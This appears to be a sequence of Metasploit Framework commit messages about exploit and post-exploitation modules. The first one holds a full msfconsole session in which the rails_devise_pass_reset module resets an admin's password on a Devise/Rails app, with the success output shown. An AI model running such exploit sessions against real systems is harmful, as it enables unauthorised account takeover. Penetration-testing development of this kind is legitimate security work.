Adds the ability to configure object name in URI and XML.  This allows exploiting other platforms that include devise.

For example, activeadmin is exploitable if running a vulnerable devise and rails version with the following settings;
msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(rails_devise_pass_reset) > set RPORT 3000
RPORT => 3000
msf auxiliary(rails_devise_pass_reset) > set TARGETEMAIL admin@example.com
TARGETEMAIL => admin@example.com
msf auxiliary(rails_devise_pass_reset) > set TARGETURI /admin/password
TARGETURI => /admin/password
msf auxiliary(rails_devise_pass_reset) > set PASSWORD msf_pwnd
PASSWORD => msf_pwnd
msf auxiliary(rails_devise_pass_reset) > set OBJECTNAME admin_user
OBJECTNAME => admin_user
msf auxiliary(rails_devise_pass_reset) > exploit

[*] Clearing existing tokens...
[*] Generating reset token for admin@example.com...
[+] Reset token generated successfully
[*] Resetting password to "msf_pwnd"...
[+] Password reset worked successfully
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >
Comments for WfsDelay, adjustment to injection

I had inteded to add the `WfsDelay` as Meatballs suggested, but for locl
exploits this doesn't appear to work as expected. After speaking to HDM
we've decided to leave the sleep in there and figure out the `WsfDelay`
thing later.

This also includes a slight refactor which puts the payload and the
exploit in the same chunk of allocated memory. Minor optimisation, but
worth it.
Land #2682 - Kimai v0.9.2 'db_restore.php' SQL Injection
Update post module Apache Tomcat description

This module's description needs to be more descriptive, otherwise
you kind of have to pull the source code to see what it actually
does for you.
Fix metsrv.dll name issue

As mentioned here https://community.rapid7.com/thread/3788 the metsvc
script was still looking for the old file name for metsrv.dll, which
was causing the script to fail.

This commit fixes this issue. A hash is used to indicate local and remote
file names so that the remote can continue to use metsrv.dll, but it
is correctly located on disk locally.
Complete refactor with lots of help from @kernelsmith and @OJ.  Thank you guys so much.
Use res.get_cookies instead of homebrew parse. Use _cgi
Update rails_devise_pass_reset.rb

Fixed erroneous status if FLUSHTOKENS is false.
Updated
Add module for ZDI-13-270
Fix title
Change description a bit

Try to make this sound smoother
Land #2708 - ABB MicroSCADA wserver.exe Remote Code Execution
Land #2698 Reflective DLL Submodule

Adds a Reflective DLL submodule in external pointing at the Rapid7 fork

Updates kitrap0d to use above submodule

Adds a make.bat file to create kitrap0d
Add the binaries from the meterpreter repo

Given this is a new extension, building bins and including them in this
PR can't cause any issues regarding lost functionality (like it can
with existing bins).

Adding to this PR so that it's easier to test and land.
Land #2707 - Fix metsrv.dll name issue in metsvc script

[FixRM #8707]
Updated
added ZyXEL GS1510-16 Password Extractor
Add module for ZDI-13-255
Fix references